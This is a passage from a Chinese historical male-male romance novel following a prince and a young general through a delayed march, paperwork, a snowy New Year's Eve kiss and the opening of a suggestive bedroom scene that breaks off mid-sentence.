裴与驰本欲再挤兑一句,目光落在他脸上,却忽然停住。迟铎仰着头,鼻尖几乎抵到他下颌,眼底水光未散,颊上犹带薄红。分明羞恼未平,身子却不肯稍离,近得连气息都缠在一处,倒似恼人却仍恋主的狸奴。 隔着锦袍,那点温意又悄悄透上来。 裴与驰看了他片刻,终究叹了一声,将人按回怀里:“别乱动。” 迟铎还要开口,那只手已落在他背上,一下一下地拍着。 “算在我头上。”他低头抵住他发顶,手臂又收紧了些。“往后也都算在我头上。” 轿子在城中青石道上继续稳稳前行。 帘内,迟铎脸上红意未退,终究还是低下头去,埋进他怀里,再不作声。 翌日清晨 迟铎被强按在榻上,伤处被细细看过。裴与驰面色如常,只一句“再养一日”,便将原定今日启程改作明日。 迟铎原以为既推迟启程,多少能松快半日,谁知药脂才抹毕,裴与驰已将军册、奏稿、押解文书一摞摞推到案前。 “坐。” 迟铎望着案上堆得整齐的文牍,眉心微跳。往日在塞北,他领前锋,冲险阵,排阵设伏、夜袭追击皆在行;营中诸事自有幕僚记功、参军修书,主将不过最后押印。 他随手翻开一册,草草扫过几行,正欲开口—— “蜀地不同塞北。”裴与驰头也未抬,随手将那册名籍翻到后页,指尖在一行空缺处点了点,“此番拼凑之军,出自诸县团练与残部守军,额兵虚实不一,名籍多有错漏。”说着已将册子推回他面前,又把另一卷未拆封的军册压在最上头,“你若不亲自过目,日后兵部翻账,问到御前,是谁担责?” 迟铎指尖微顿。 裴与驰这才起身,绕到案侧,将笔递到他手里:“主将不止是提刀之人。若只图一时血勇——”他抬了抬下巴,示意他看那页错漏的兵名,“不过匹夫。” 迟铎抬眼看他一瞬,终究不语,只接过笔,将册子重又翻开。那句“不过匹夫”仍在耳侧回响,他心口发热,索性埋首疾书,笔锋走得极快。笔墨渐干,帐中只闻纸页翻动与茶盏轻响。裴与驰初时坐在一旁啜茶,偶尔指点一二错漏;待被瞪过两回,方搁盏起身,移至案侧,执笔在手,却迟迟不落笔。 迟铎抬眼看他,他方慢悠悠道:“靖武伯若要我代誊——”话未尽便止住。 迟铎笔下一顿,咬牙将那册子推至他前。裴与驰这才落笔,字迹清劲端正。写不过三页,笔锋忽止,又侧目看他。迟铎面上仍自平静,只伸手轻轻扯住他袖角,低低唤了一声:“裴郎。” 裴与驰这才续笔。 一整日下来,册页起落不休。迟铎伏案久坐,腰背发酸,却未再置一词。至夜里上药时,也只是由他施为,难得不与人较劲。及至启程那日,人已跨马而立,神采飞扬,前两日那点闺阁之态,早抛在身后。 岁除那日,军队就地扎营。昨日途经城池时,裴与驰特命炊事兵入城采买,未惊动当地父母官。营中大勺翻飞,炊烟袅袅,酒肉香气随风散开。过了年节,他允众人暂卸甲胄,各自饮酒围火,说笑守岁。诸事交代妥当后,裴与驰和迟铎方牵马而出,并辔驰向山林。夜色清寒,雪覆林麓,天地俱白。两骑踏雪而行,蹄声清脆。远处群山沉默,天穹澄净,星斗低垂。来时赶路,姣雪几乎被催得筋疲力尽;如今归途在即,同样的山道,它却昂首打着响鼻,精神抖擞,蹄声轻快如林间小鹿。 至一处林间空地,裴与驰翻身下马,端出殿下架子,抬了抬下巴,命伴读去拾枯枝生火。迟铎额角青筋微跳,忍了。他活动了下手腕,踩着雪去捡枯枝,脚下吱吱作响,面上却不作声。 不多时火光跃起,映得四下微暖。他原以为裴与驰要煮雪烹酒,摆一回文人雅致,谁知裴与驰从马侧取下一个布包,解开来,竟是一只早已收拾干净的野兔。 迟铎一愣:“你什么时候——”< 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裴与驰没应声,只把兔肉翻了个面,待火候差不多,撕下一块,吹了两口,递到他嘴边。 “张口。” 迟铎立刻张口,咬住时还故意在他指尖上轻轻蹭了一下。 裴与驰神色未动。 等喂第二口时,迟铎眼尾微挑,又要不知死活地故技重施,裴与驰手指却未退开,顺势往里送了半寸,抵在他舌尖上。迟铎整个人骤然僵住,火光映着他湿亮的眼睛,他含着那口肉,睫毛微颤,深深吸了一口气。 裴与驰这才慢慢抽回手指,指腹自他唇角抹过,将那点油痕拭去,口中唤了一声“狸奴”,手上却不停,仍旧撕肉递过去。迟铎这回不敢再闹,老老实实张口。 裴与驰等他咽下去,才将下一块送到唇边,待他把肉叼走,手指扣住他的下颌:“岁除夜,别自讨苦吃。” 迟铎慢慢垂下眼,盯着火堆不放,再不敢往旁边看一眼。火光映在睫上,一下一下轻颤。他喉间发紧,心跳如鼓,连嘴里的兔肉都嚼不出滋味。待回过神来,兔肉已被他吃去大半。他皱了皱眉,忽然抬手按住裴与驰的手腕。“岁除分肉。”他说,“殿下也得吃。”语气执拗,仿佛他若不吃,这一年便要失了个好兆头。 看他吃了,迟铎这才起身,从姣雪鞍侧解下一个水囊,拔开塞子,辛辣的椒柏气味顿时散开。“今日营中煮了椒柏酒,”他说,“我装了一囊。”说着便将水囊递过去,“殿下若不饮,来年口舌上怕要生祸。”迟小将军自觉体贴。毕竟三皇子那张嘴实在刻薄,若不趁岁除压一压,来年只怕要替他收拾烂摊子。 裴与驰接过水囊,饮了一口,神色未动:“原来迟小将军是去年没饮椒柏酒,所以才赶在岁除前几日,上赶着招口舌之祸?” 迟铎垂眼瞪他:“你——”话还没说完,营地方向忽然传来鼓声,沉沉三下,子时将至。 裴与驰把水囊放旁边,手上一用力,将人拉下,稳稳接进怀里。 “守岁。” 两个字落下。迟铎被他这一拽失了平衡,方稳住身形便要开骂,谁料起身太急,鼻尖相触,呼吸相撞,抱怨未能出口,后脑已被掌心轻轻一按,火光在两人之间摇了一摇,唇便贴在一处。 雪夜清寒,滴酒未沾,他面上却先染薄红,唇色在辗转间愈发鲜润,微启之间,自有难掩情态。火光映着那一点唇珠,愈发分明。裴与驰低首含住,似抚似罚,轻轻啮过,唇齿辗转不休。迟铎呼吸渐乱,由着那点微痛裹着温热,自唇上缓缓漫开,至于难当,便不觉吐出舌尖,似求似诱。裴与驰将人抱得更紧,唇齿相迎,气息相缠,迟铎身子一寸寸软下去,贴在他怀中不动。雪色与火光交映,鼓声一下一下自山林深处传来,新岁悄然已至,他们浑然未觉。 去岁所愿,不过一人;既皆如愿,今岁自当长安。” 28. “浪”暖“桃”香 吊脚楼内,烛影摇红,火气蒸腾,帐幔低垂处尽是暧昧余温。 “……不可。” 裴与驰骤然侧首,颈侧筋络微绷,鬓边汗珠沿着发际缓缓滑下。分明已到难自收拾之境,却偏在将坠未坠之时生生勒住心神,抬手扣住狸奴那只探入衣襟、正欲作乱的手,五指收紧,衣带在指下轻轻一响。 迟铎被他亲得心魂摇荡,气息浮乱,唇边尚余热意,忽被按住,只得抬眸望他。那双眼里水光未散,迷离未醒,仿佛尚在方才那场唇舌交缠里,不知今夕何夕。裴与驰盯着他看了片刻,探手抓过衾被,将人连衣带发卷得严实,只露一张脸在外。被褥翻卷间,迟铎衣衫尚未理齐,鬓发微乱,偏生那张脸仍红得鲜活。 “此乃无媒苟合。”裴与驰说得端然肃穆,竟像在金殿上论礼。 迟铎瞪着他。 烛影摇曳,榻上余温未散,方才那点暧昧气息仍在帘下浮沉,裴与驰却端坐如常,衣襟整肃,眉目清正,仿佛先前那一番气息纠缠从未发生。迟铎被裹得严严实实,挣了半晌仍动弹不得,越想越觉荒唐。 白日里这人冷言冷语,他只当是装模作样,既允同住,便已心照不宣。谁知入夜先是冷嘲热讽,又逼他研墨议事,好容易公文封缄妥当,擦墨时唇边相触,气息一乱,至榻上弓已张、弦已满,却忽然讲起礼法来。 原来他话本里那些“发乎情,止乎礼”的酸儒书生,并非虚写,竟真是照着他自个儿描的。 迟铎越想越气。 这位素来算无遗策的三殿下,骨子里竟守着这般规矩。几卷圣贤书读进心肝,也读得迂成这等模样。若明年殿试榜上不见他名姓,怕是礼部主考也当真昏了头。 “……事急从权,兵贵神速。” 迟铎咬着牙,竟真把兵书里的话搬出来劝他,仿佛阵前劝降,逼这块榆木疙瘩当场弃文从武。 “荒谬。”裴与驰按住他欲挣开的手,神色端正,“男子待心爱之人,当三书六礼,明媒正娶,祭告天地祖宗。礼不可废。若今日在此轻率行事,便是慢你——” “少与我掉书袋!” 迟铎终于炸了。那点方才还在心头翻涌的旖旎,被这一番大道理浇得透凉,羞意反作恼意。他猛地掀开衾被,裹得严实的身子挣出半截,脸涨得通红,指着他便道:“之前是谁先乱的?你!你未经我许,埋首贴近作那般举动之时,怎不说三书六礼?那时圣贤书何在?如今倒想起祖宗来了?” 越说越急,耳尖红得几欲滴血。 裴与驰原本端肃的神色微滞,喉结滚动,耳根骤然泛起热意:“那……那是情动——” “你情动便可?”迟铎冷笑,“到我动时便成了‘轻贱’?” 裴与驰一时语塞,目光偏开半寸,“那是——” “是什么是!” 迟铎被这不解风情的男人逼得狠了,索性把心一横。既然他偏要装清心寡欲,他便教他六根不净。他忽地探手,径直擒住那叫裴与驰不得不退、此刻却分明未曾退去的所在。掌心之下热意灼灼,筋理绷直,坚硬似铁。迟铎眉梢一挑,非但不松,反倒若无其事地掂了掂。分明心跳如鼓,面上却装作轻佻从容,仿佛风月场里承恩无数,见惯刀兵,初逢新刃,用前先品品虚实。 “殿下这般推拒,”他贴近裴与驰耳侧,气息轻拂:“莫不是另有难言?” 裴与驰呼吸一滞。 …………………….(1) “硬度尚可,分量也还像样,只是迟迟不肯上阵……”尾音拖得轻慢却发着颤,“莫非徒有其表?”说到兴头,又添一句,带着刻意的挑衅:“银样蜡枪头么?” 方才还端坐如柳下惠的人倏然抬眼,“你说谁徒有其表?”声音几乎从牙缝里挤出来。 “气势倒足,”迟铎偏不知死活,指尖甚至在顶端轻弹一下,似真在品评,“观殿下神色,想来未坏。既未坏,却不肯用,那便是……不能久战?”他话说到此处,已是破釜沉舟:“是个一戳就破的纸糊楸?” 烛火猛地一跳。 裴与驰忽地笑了。 少年心气本就最经不得当面挤兑,更何况那人还是他心上人,句句掷来,如珠似石,直打在脸上。他若再退半步,便当真坐实了那几句污蔑。方才口中的三书六礼,在这一瞬俱成空谈。 礼法?且搁一旁。 明媒?来日再说。 他反手擒住迟铎那只作乱的手腕,力道又急又重,翻身将这口无遮拦的狸奴按在榻上。衾被翻卷,灯影摇曳,方才那副端坐如僧、谈礼论经的自持模样,顷刻荡然无存。 “好。” 鼻尖几乎相抵,呼吸炙热。 裴与驰盯着那双仍敢含笑相激的眼,冷面早已维持不住,眉间血色翻涌,少年意气再难压住。“既然迟小将军这般识货——”他俯身逼近,气息擦过耳侧,字字带着火气。“今日若不教你亲身领教,叫你改口称服,岂不辜负你方才那几句高论” 话音未落,衣衫已在他掌下散开。那句“银样镴枪头”犹在耳边回荡,裴与驰越想越恼,衣带在指间骤断,布帛裂声脆响,里衣如落花般滑下,体面二字早被抛到九霄之 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